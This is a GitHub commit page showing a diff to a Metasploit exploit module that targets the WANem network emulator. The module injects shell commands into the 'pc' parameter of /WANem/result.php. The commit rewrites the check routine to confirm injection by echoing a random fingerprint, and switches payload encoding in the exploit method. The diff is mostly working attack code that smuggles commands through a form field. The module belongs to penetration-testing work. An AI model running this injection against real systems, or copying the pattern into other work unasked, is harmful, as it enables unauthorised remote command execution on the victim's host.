Skip to content

Commit f5a0f74

Browse files
committed
Merge branch 'wanem_exec_improve' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-wanem_exec_improve
2 parents cf98f52 + 37c7f36 commit f5a0f74

File tree

1 file changed

+21
-11
lines changed

1 file changed

+21
-11
lines changed

modules/exploits/linux/http/wanem_exec.rb

Lines changed: 21 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,6 @@ def initialize(info = {})
2525
and vulnerable to command execution in argument one.
2626
},
2727
'License' => MSF_LICENSE,
28-
'Version' => '$Revision: 1 $',
2928
'Privileged' => true,
3029
'Platform' => 'unix',
3130
'Arch' => ARCH_CMD,
@@ -42,7 +41,7 @@ def initialize(info = {})
4241
'Payload' =>
4342
{
4443
'Space' => 1024,
45-
'BadChars' => "\x00",
44+
'BadChars' => "\x00\x22\x27",
4645
'DisableNops' => true,
4746
'Compat' =>
4847
{
@@ -68,24 +67,35 @@ def on_new_session(client)
6867
end
6968

7069
def check
70+
@peer = "#{rhost}:#{rport}"
71+
fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
72+
data = "pc=127.0.0.1; "
73+
data << Rex::Text.uri_encode("echo #{fingerprint}")
74+
data << "%26"
75+
print_status("#{@peer} - Sending check")
7176

72-
res = send_request_cgi({
73-
'method' => 'GET',
74-
'uri' => '/WANem/result.php'
75-
})
76-
if res and res.body =~ /<br><br><br><b><font color=red>Can't measure\!\! Please repeat\.<\/font><\/b><\/body>/
77-
return Exploit::CheckCode::Appears
77+
begin
78+
res = send_request_cgi({
79+
'uri' => '/WANem/result.php',
80+
'method' => 'POST',
81+
'data' => data
82+
}, 25)
83+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
84+
print_error("#{@peer} - Connection failed")
85+
return Exploit::CheckCode::Unknown
86+
end
87+
88+
if res and res.code == 200 and res.body =~ /#{fingerprint}/
89+
return Exploit::CheckCode::Vulnerable
7890
else
7991
return Exploit::CheckCode::Safe
8092
end
81-
8293
end
8394

8495
def exploit
85-
8696
@peer = "#{rhost}:#{rport}"
8797
data = "pc=127.0.0.1; "
88-
data << URI.encode(payload.raw)
98+
data << Rex::Text.uri_encode(payload.raw)
8999
data << "%26"
90100
print_status("#{@peer} - Sending payload (#{payload.raw.length} bytes)")
91101
begin

0 commit comments

Comments
 (0)